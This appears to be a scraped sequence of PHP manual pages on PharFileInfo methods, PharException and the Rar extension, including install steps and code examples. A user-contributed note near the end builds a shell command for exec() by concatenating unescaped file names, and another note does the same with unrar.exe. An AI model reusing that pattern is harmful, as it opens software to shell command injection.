  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::getCompressedSize
PharFileInfo::getPharFlags
PharFileInfo


Returns the Phar file entry flags

PharFileInfo::getMetadata
PharFileInfo::hasMetadata
PharFileInfo
PHP Manual

PharFileInfo::getPharFlags

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::getPharFlags — Returns the Phar file entry flags

Description

int PharFileInfo::getPharFlags ( void )

This returns the flags set in the manifest for a Phar. This will always return 0 in the current implementation.

Return Values

The Phar flags (always 0 in the current implementation)

Examples

Example #1 A PharFileInfo::getPharFlags() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->getPharFlags());
} catch (Exception $e) {
    echo 'Could not create/modify my.phar: ', $e;
}
?>

The above example will output:

int(0)

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::getMetadata
PharFileInfo::hasMetadata
PharFileInfo


Returns the metadata of the entry

PharFileInfo::getPharFlags
PharFileInfo::isCRCChecked
PharFileInfo
PHP Manual

PharFileInfo::hasMetadata

(PHP >= 5.3.0, PECL phar >= 1.2.0)

PharFileInfo::hasMetadata — Returns the metadata of the entry

Description

bool PharFileInfo::hasMetadata ( void )

Returns the metadata of a file within a phar archive.

Parameters

No parameters.

Return Values

Returns FALSE if no metadata is set or is NULL, TRUE if metadata is not NULL

See Also

  • PharFileInfo::setMetadata() - Sets file-specific meta-data saved with a file
  • PharFileInfo::getMetadata() - Returns file-specific meta-data saved with a file
  • PharFileInfo::delMetadata() - Deletes the metadata of the entry
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::getPharFlags
PharFileInfo::isCRCChecked
PharFileInfo


Returns whether file entry has had its CRC verified

PharFileInfo::hasMetadata
PharFileInfo::isCompressed
PharFileInfo
PHP Manual

PharFileInfo::isCRCChecked

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::isCRCChecked — Returns whether file entry has had its CRC verified

Description

bool PharFileInfo::isCRCChecked ( void )

This returns whether a file within a Phar archive has had its CRC verified.

Return Values

TRUE if the file has had its CRC verified, FALSE if not.

Examples

Example #1 A PharFileInfo::isCRCChecked() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->isCRCChecked());
} catch (Exception $e) {
    echo 'Create/modify operations failed on my.phar: ', $e;
}
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::hasMetadata
PharFileInfo::isCompressed
PharFileInfo


Returns whether the entry is compressed

PharFileInfo::isCRCChecked
PharFileInfo::isCompressedBZIP2
PharFileInfo
PHP Manual

PharFileInfo::isCompressed

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::isCompressed — Returns whether the entry is compressed

Description

bool PharFileInfo::isCompressed ([ int $compression_type = 9021976 ] )

This returns whether a file is compressed within a Phar archive with either Gzip or Bzip2 compression.

Parameters

compression_type

One of Phar::GZ or Phar::BZ2, defaults to any compression.

Return Values

TRUE if the file is compressed within the Phar archive, FALSE if not.

Examples

Example #1 A PharFileInfo::isCompressed() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $p['myfile2.txt'] = 'hi';
    $p['myfile2.txt']->setCompressedGZ();
    $file = $p['myfile.txt'];
    $file2 = $p['myfile2.txt'];
    var_dump($file->isCompressed());
    var_dump($file2->isCompressed());
} catch (Exception $e) {
    echo 'Create/modify on phar my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compressFiles() - Compresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::isCRCChecked
PharFileInfo::isCompressedBZIP2
PharFileInfo


Returns whether the entry is compressed using bzip2

PharFileInfo::isCompressed
PharFileInfo::isCompressedGZ
PharFileInfo
PHP Manual

PharFileInfo::isCompressedBZIP2

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::isCompressedBZIP2 — Returns whether the entry is compressed using bzip2

Description

bool PharFileInfo::isCompressedBZIP2 ( void )

Note:

This method has been removed from the phar extension as of version 2.0.0. Alternative implementations are available using PharFileInfo::isCompressed(), PharFileInfo::decompress(), and PharFileInfo::compress().

This returns whether a file is compressed within a Phar archive with Bzip2 compression.

Return Values

TRUE if the file is compressed within the Phar archive using Bzip2, FALSE if not.

Examples

Example #1 A PharFileInfo::isCompressedBZIP2() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $p['myfile2.txt'] = 'hi';
    $p['myfile3.txt'] = 'hi';
    $p['myfile2.txt']->setCompressedGZ();
    $p['myfile3.txt']->setCompressedBZIP2();
    $file = $p['myfile.txt'];
    $file2 = $p['myfile2.txt'];
    $file3 = $p['myfile3.txt'];
    var_dump($file->isCompressedBZIP2());
    var_dump($file2->isCompressedBZIP2());
    var_dump($file3->isCompressedBZIP2());
} catch (Exception $e) {
    echo 'Create/modify on phar my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::isCompressed
PharFileInfo::isCompressedGZ
PharFileInfo


Returns whether the entry is compressed using gz

PharFileInfo::isCompressedBZIP2
PharFileInfo::setCompressedBZIP2
PharFileInfo
PHP Manual

PharFileInfo::isCompressedGZ

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::isCompressedGZ — Returns whether the entry is compressed using gz

Description

bool PharFileInfo::isCompressedGZ ( void )

Note:

This method has been removed from the phar extension as of version 2.0.0. Alternative implementations are available using PharFileInfo::isCompressed(), PharFileInfo::decompress(), and PharFileInfo::compress().

This returns whether a file is compressed within a Phar archive with Gzip compression.

Return Values

TRUE if the file is compressed within the Phar archive using Gzip, FALSE if not.

Examples

Example #1 A PharFileInfo::isCompressedGZ() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $p['myfile2.txt'] = 'hi';
    $p['myfile3.txt'] = 'hi';
    $p['myfile2.txt']->setCompressedGZ();
    $p['myfile3.txt']->setCompressedBZIP2();
    $file = $p['myfile.txt'];
    $file2 = $p['myfile2.txt'];
    $file3 = $p['myfile3.txt'];
    var_dump($file->isCompressedGZ());
    var_dump($file2->isCompressedGZ());
    var_dump($file3->isCompressedGZ());
} catch (Exception $e) {
    echo 'Create/modify on phar my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(true)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::isCompressedBZIP2
PharFileInfo::setCompressedBZIP2
PharFileInfo


Compresses the current Phar entry within the phar using Bzip2 compression

PharFileInfo::isCompressedGZ
PharFileInfo::setCompressedGZ
PharFileInfo
PHP Manual

PharFileInfo::setCompressedBZIP2

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::setCompressedBZIP2 — Compresses the current Phar entry within the phar using Bzip2 compression

Description

bool PharFileInfo::setCompressedBZIP2 ( void )

Note:

This method has been removed from the phar extension as of version 2.0.0. Alternative implementations are available using PharFileInfo::isCompressed(), PharFileInfo::decompress(), and PharFileInfo::compress().

This method compresses the file inside the Phar archive using bzip2 compression. The bzip2 extension must be enabled to take advantage of this feature. In addition, if the file is already compressed using gzip compression, the zlib extension must be enabled in order to decompress the file. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the bzip2 extension is not available.

Examples

Example #1 A PharFileInfo::setCompressedBZIP2() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->isCompressedBZIP2());
    $p['myfile.txt']->setCompressedBZIP2();
    var_dump($file->isCompressedBZIP2());
} catch (Exception $e) {
    echo 'Create/modify operations on my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::isCompressedGZ
PharFileInfo::setCompressedGZ
PharFileInfo


Compresses the current Phar entry within the phar using gz compression

PharFileInfo::setCompressedBZIP2
PharFileInfo::setMetadata
PharFileInfo
PHP Manual

PharFileInfo::setCompressedGZ

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::setCompressedGZ — Compresses the current Phar entry within the phar using gz compression

Description

bool PharFileInfo::setCompressedGZ ( void )

Note:

This method has been removed from the phar extension as of version 2.0.0. Alternative implementations are available using PharFileInfo::isCompressed(), PharFileInfo::decompress(), and PharFileInfo::compress().

This method compresses the file inside the Phar archive using gzip compression. The zlib extension must be enabled to take advantage of this feature. In addition, if the file is already compressed using bzip2 compression, the bzip2 extension must be enabled in order to decompress the file. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the zlib extension is not available.

Examples

Example #1 A PharFileInfo::setCompressedGZ() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->isCompressedGZ());
    $p['myfile.txt']->setCompressedGZ();
    var_dump($file->isCompressedGZ());
} catch (Exception $e) {
    echo 'Create/modify operations on my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::setCompressedBZIP2
PharFileInfo::setMetadata
PharFileInfo


Sets file-specific meta-data saved with a file

PharFileInfo::setCompressedGZ
PharFileInfo::setUncompressed
PharFileInfo
PHP Manual

PharFileInfo::setMetadata

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::setMetadata — Sets file-specific meta-data saved with a file

Description

void PharFileInfo::setMetadata ( mixed $metadata )

PharFileInfo::setMetadata() should only be used to store customized data in a file that cannot be represented with existing information stored with a file. Meta-data can significantly slow down the performance of loading a phar archive if the data is large, or if there are many files containing meta-data. It is important to note that file permissions are natively supported inside a phar; it is possible to set them with the PharFileInfo::chmod() method. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

Some possible uses for meta-data include passing a user/group that should be set when a file is extracted from the phar to disk. Other uses could include explicitly specifying a MIME type to return. However, any useful data that describes a file, but should not be contained inside of it may be stored.

Parameters

metadata

Any PHP variable containing information to store alongside a file

Return Values

No value is returned.

Examples

Example #1 A PharFileInfo::setMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.txt'] = 'hello';
    $p['file.txt']->setMetadata(array('user' => 'bill', 'mime-type' => 'text/plain'));
    var_dump($p['file.txt']->getMetaData());
} catch (Exception $e) {
    echo 'Could not create/modify phar: ', $e;
}
?>

The above example will output:

array(2) {
  ["user"]=>
  string(4) "bill"
  ["mime-type"]=>
  string(10) "text/plain"
}

See Also

  • PharFileInfo::hasMetadata() - Returns the metadata of the entry
  • PharFileInfo::getMetadata() - Returns file-specific meta-data saved with a file
  • PharFileInfo::delMetadata() - Deletes the metadata of the entry
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::setCompressedGZ
PharFileInfo::setUncompressed
PharFileInfo


Uncompresses the current Phar entry within the phar, if it is compressed

PharFileInfo::setMetadata
PharException
PharFileInfo
PHP Manual

PharFileInfo::setUncompressed

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::setUncompressed — Uncompresses the current Phar entry within the phar, if it is compressed

Description

bool PharFileInfo::setUncompressed ( void )

Note:

This method has been removed from the phar extension as of version 2.0.0. Alternative implementations are available using PharFileInfo::isCompressed(), PharFileInfo::decompress(), and PharFileInfo::compress().

This method decompresses the file inside the Phar archive. Depending on how the file is compressed, the bzip2 or zlib extensions must be enabled to take advantage of this feature. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the bzip2/zlib extension is not available.

Examples

Example #1 A PharFileInfo::setUncompressed() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    $file->setCompressedGZ();
    var_dump($file->isCompressed());
    $p['myfile.txt']->setUncompressed();
    var_dump($file->isCompressed());
} catch (Exception $e) {
    echo 'Create/modify failed for my.phar: ', $e;
}
?>

The above example will output:

bool(true)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::setMetadata
PharException
PharFileInfo


The PharException class

(Unknown)

Introduction

The PharException class provides a phar-specific exception class for try/catch blocks.

Class synopsis

PharException extends Exception {
/* Properties */
}

Table of Contents

  • PharException — The PharException class provides a phar-specific exception class for try/catch blocks.

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::setUncompressed
PharException
Phar


The PharException class provides a phar-specific exception class for try/catch blocks.

PharException
Rar
PharException
PHP Manual

PharException

(Unknown)

PharException — The PharException class provides a phar-specific exception class for try/catch blocks.

Description

User Contributed Notes

There are no user contributed notes for this page.
PharException
Rar
PharException
PHP Manual


Rar Archiving

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Rar Functions
    • rar_wrapper_cache_stats — Cache hits and misses for the URL wrapper
  • RarArchive — The RarArchive class
    • RarArchive::close — Close RAR archive and free all resources
    • RarArchive::getComment — Get comment text from the RAR archive
    • RarArchive::getEntries — Get full list of entries from the RAR archive
    • RarArchive::getEntry — Get entry object from the RAR archive
    • RarArchive::isBroken — Test whether an archive is broken (incomplete)
    • RarArchive::isSolid — Check whether the RAR archive is solid
    • RarArchive::open — Open RAR archive
    • RarArchive::setAllowBroken — Whether opening broken archives is allowed
    • RarArchive::__toString — Get text representation
  • RarEntry — The RarEntry class
    • RarEntry::extract — Extract entry from the archive
    • RarEntry::getAttr — Get attributes of the entry
    • RarEntry::getCrc — Get CRC of the entry
    • RarEntry::getFileTime — Get entry last modification time
    • RarEntry::getHostOs — Get entry host OS
    • RarEntry::getMethod — Get pack method of the entry
    • RarEntry::getName — Get name of the entry
    • RarEntry::getPackedSize — Get packed size of the entry
    • RarEntry::getStream — Get file handler for entry
    • RarEntry::getUnpackedSize — Get unpacked size of the entry
    • RarEntry::getVersion — Get minimum version of RAR program required to unpack the entry
    • RarEntry::isDirectory — Test whether an entry represents a directory
    • RarEntry::isEncrypted — Test whether an entry is encrypted
    • RarEntry::__toString — Get text representation of entry
  • RarException — The RarException class
    • RarException::isUsingExceptions — Check whether error handling with exceptions is in use
    • RarException::setUsingExceptions — Activate and deactivate error handling with exceptions

User Contributed Notes

There are no user contributed notes for this page.
PharException
Introduction
Compression and Archive Extensions


Introduction

Rar is a powerful and effective archiver created by Eugene Roshal. This extension gives you possibility to read Rar archives but doesn't support writing Rar archives, because this is not supported by the UnRar library and is directly prohibited by its license.

More information about Rar and UnRar can be found at » http://www.rarlabs.com/.

User Contributed Notes

There are no user contributed notes for this page.
Rar
Installing/Configuring
Rar


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Rar


Installation

Rar is currently available through PECL » http://pecl.php.net/package/rar.

Also you can use the PECL installer to install the Rar extension, using the following command: pecl -v install rar.

You can always download the tar.gz package and install Rar by hand:

Example #1 Rar installation

gunzip rar-xxx.tgz
tar -xvf rar-xxx.tar
cd rar-xxx
phpize
./configure && make && make install

Windows users will enable php_rar.dll inside of php.ini in order to use these functions. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

t dot dekker at student dot utwente dot nl 04-Dec-2011 01:54
Easiest way to install the current version for PHP5 on Debian is as below. You may need additional packages if you don't have the basics like GCC installed. Also, start in a temporary directory since many junk files are created.

sudo apt-get install php5-dev dh-make-php fakeroot xsltproc
dh-make-pecl --only 5 rar
cd php-rar-3.0.0
dpkg-buildpackage
sudo dpkg -i ../php5-rar_3.0.0-1_amd64.deb
cristianbzdg at botosani dot ro 27-Nov-2010 08:21
After installing RAR 2.0.0 extension in PHP 5.3.3 on OpenSUSE 11.3 using pecl command line, i had to enable it by creating a file named
/etc/php5/conf.d/rar.ini
which contains this line
extension=rar.so
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension registers three internal classes: The archive representations returned by rar_open() – RarArchive –, the entry representations returned by rar_list() and rar_entry_get() – RarEntry and the exception type RarException.

This extension also register a stream resource, called "rar" and a URL wrapper called "rar wrapper" and registered under the prefix "rar".

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

RAR_HOST_MSDOS (integer)
Use RarEntry::HOST_MSDOS instead.
RAR_HOST_OS2 (integer)
Use RarEntry::HOST_OS2 instead.
RAR_HOST_WIN32 (integer)
Use RarEntry::HOST_WIN32 instead.
RAR_HOST_UNIX (integer)
Use RarEntry::HOST_UNIX instead.
RAR_HOST_BEOS (integer)
Use RarEntry::HOST_BEOS instead.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Rar


Examples

See also the examples under rar:// wrapper.

Example #1 On-the-fly decompression

<?php

if (!array_key_exists("i", $_GET) || !is_numeric($_GET["i"]))
    die("Index unspecified or non-numeric");
$index = (int) $_GET["i"];

$arch = RarArchive::open("example.rar");
if ($arch === FALSE)
    die("Cannot open example.rar");

$entries = $arch->getEntries();
if ($entries === FALSE)
    die("Cannot retrieve entries");

if (!array_key_exists($index, $entries))
    die("No such index: $index");

$orfilename = $entries[$index]->getName(); //UTF-8 encoded

$filesize = $entries[$index]->getUnpackedSize();

/* you could check HTTP_IF_MODIFIED_SINCE here and compare with
 * $entries[$index]->getFileTime(). You could also send a
 * "Last modified" header */

$fp = $entries[$index]->getStream();
if ($fp === FALSE)
    die("Cannot open file with index $index insided the archive.");

$arch->close(); //no longer needed; stream is independent

function detectUserAgent() {
    if (!array_key_exists('HTTP_USER_AGENT', $_SERVER))
        return "Other";

    $uas = $_SERVER['HTTP_USER_AGENT'];
    if (preg_match("@Opera/@", $uas))
        return "Opera";
    if (preg_match("@Firefox/@", $uas))
        return "Firefox";
    if (preg_match("@Chrome/@", $uas))
        return "Chrome";
    if (preg_match("@MSIE ([0-9.]+);@", $uas, $matches)) {
        if (((float)$matches[1]) >= 7.0)
            return "IE";
    }

    return "Other";
}

/*
 * We have 3 options:
 * - For FF and Opera, which support RFC 2231, use that format.
 * - For IE and Chrome, use attwithfnrawpctenclong
 *   (http://greenbytes.de/tech/tc2231/#attwithfnrawpctenclong)
 * - For the others, convert to ISO-8859-1, if possible
 */
$formatRFC2231 = 'Content-Disposition: attachment; filename*=UTF-8\'\'%s';
$formatDef = 'Content-Disposition: attachment; filename="%s"';

switch (detectUserAgent()) {
    case "Opera":
    case "Firefox":
        $orfilename = rawurlencode($orfilename);
        $format = $formatRFC2231;
        break;

    case "IE":
    case "Chrome":
        $orfilename = rawurlencode($orfilename);
        $format = $formatDef;
        break;
    default:
        if (function_exists('iconv'))
            $orfilename =
                @iconv("UTF-8", "ISO-8859-1//TRANSLIT", $orfilename);
        $format = $formatDef;
}

header(sprintf($format, $orfilename));
//cannot send error messages from now on (headers already sent)

//replace by real content type, perhaps infering from the file extension
$contentType = "application/octet-stream";
header("Content-Type: $contentType");

header("Content-Transfer-Encoding: binary");

header("Content-Length: $filesize");

if ($_SERVER['REQUEST_METHOD'] == "HEAD")
    die();

while (!feof($fp)) {
    $s = @fread($fp, 8192);
    if ($s === false)
        break; //useless to send error messages

    echo $s;
}
?>

This example opens a RAR file and presents the requested file inside the RAR archive for download to the client.

Example #2 RAR extension filesystem extraction example

<?php

$rar_file = rar_open('example.rar') or die("Can't open Rar archive");

$entries = rar_list($rar_file);

foreach ($entries as $entry) {
    echo 'Filename: ' . $entry->getName() . "\n";
    echo 'Packed size: ' . $entry->getPackedSize() . "\n";
    echo 'Unpacked size: ' . $entry->getUnpackedSize() . "\n";

    $entry->extract('/dir/extract/to/');
}

rar_close($rar_file);

?>

This example opens a RAR file archive and extracts each entry to the specified directory.

User Contributed Notes

Nitrogen 17-Nov-2010 08:43
A veeery simple function to RAR files, I'm not proud of it.
Since there's no way to create RAR files in PHP (due to licensing, patents or whatever), I'm taking some advantage from the command-line RARing tool that comes with WinRAR (in the WinRAR program files named "rar.exe").

<?php
function RARFiles($Output='output.rar',$Files=array()) {
  $Data='';
  for($i=0;$i<count($Files);$i++)
    $Data.="\"{$Files[$i]}\" ";
  exec("rar.exe a \"{$Output}\" {$Data}");
}

$Files=array('file1.ext','file2.ext','file3.ext');
RARFiles('asdf.rar',$Files);
// asdf.rar created.
?>

There's no error checking, so make sure you check that your expected RAR file exists before doing anything with it.
Hopefully one day, PHP will be able to be allowed to create RAR files.
landavia81 at gmail dot com 21-Jan-2009 10:00
for unknown reason.. many programer has problem with php_rar (in windows).. i came up with this ... and it work.

basicly is same as above but only extract only. The problem will come up if the file rar corrupt, exist and soon
_______________________________
<?php
$appRar ="C:/Program Files/WinRAR/unrar.exe";
#this is false..

$appRar = '"C:\Program Files\WinRAR\unrar.exe"';
#change this
$opt="e";
$target="1.rar";

$do ="$appRar $opt $target";

exec($do,$aOut);
print_r($aOut);

?>
-------------------------------------------------
For windows user: try using bat file for test.

all user: please read man unrar, above using e because this only extract. But you should notice about other option like "y","x", etc

i type the option here if you too lazy
http://landavia.multiply.com/journal/item/284/option_for_unrar

$aOut are array for the output after you run the script $do
Predefined Constants
Rar Functions
Rar


Rar Functions

Table of Contents

  • rar_wrapper_cache_stats — Cache hits and misses for the URL wrapper

User Contributed Notes

There are no user contributed notes for this page.
Examples
rar_wrapper_cache_stats
Rar


Cache hits and misses for the URL wrapper

Rar Functions
RarArchive
Rar Functions
PHP Manual

rar_wrapper_cache_stats

(PECL rar >= 3.0.0)

rar_wrapper_cache_stats — Cache hits and misses for the URL wrapper

Description

string rar_wrapper_cache_stats ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Rar Functions
RarArchive
Rar Functions


The RarArchive class

(No version information available, might only be in SVN)

Introduction

This class represents a RAR archive, which may be formed by several volumes (parts) and which contains a number of RAR entries (i.e., files, directories and other special objects such as symbolic links).

Objects of this class can be traversed, yielding the entries stored in the respective RAR archive. Those entries can also be obtained through RarArchive::getEntry() and RarArchive::getEntries().

Class synopsis

final RarArchive implements Traversable {
/* Methods */
public bool close ( void )
public string getComment ( void )
public array getEntries ( void )
public RarEntry getEntry ( string $entryname )
public bool isBroken ( void )
public bool isSolid ( void )
public static RarArchive open ( string $filename [, string $password = NULL [, callback $volume_callback = NULL ]] )
public bool setAllowBroken ( bool $allow_broken )
public string __toString ( void )
}

Table of Contents

  • RarArchive::close — Close RAR archive and free all resources
  • RarArchive::getComment — Get comment text from the RAR archive
  • RarArchive::getEntries — Get full list of entries from the RAR archive
  • RarArchive::getEntry — Get entry object from the RAR archive
  • RarArchive::isBroken — Test whether an archive is broken (incomplete)
  • RarArchive::isSolid — Check whether the RAR archive is solid
  • RarArchive::open — Open RAR archive
  • RarArchive::setAllowBroken — Whether opening broken archives is allowed
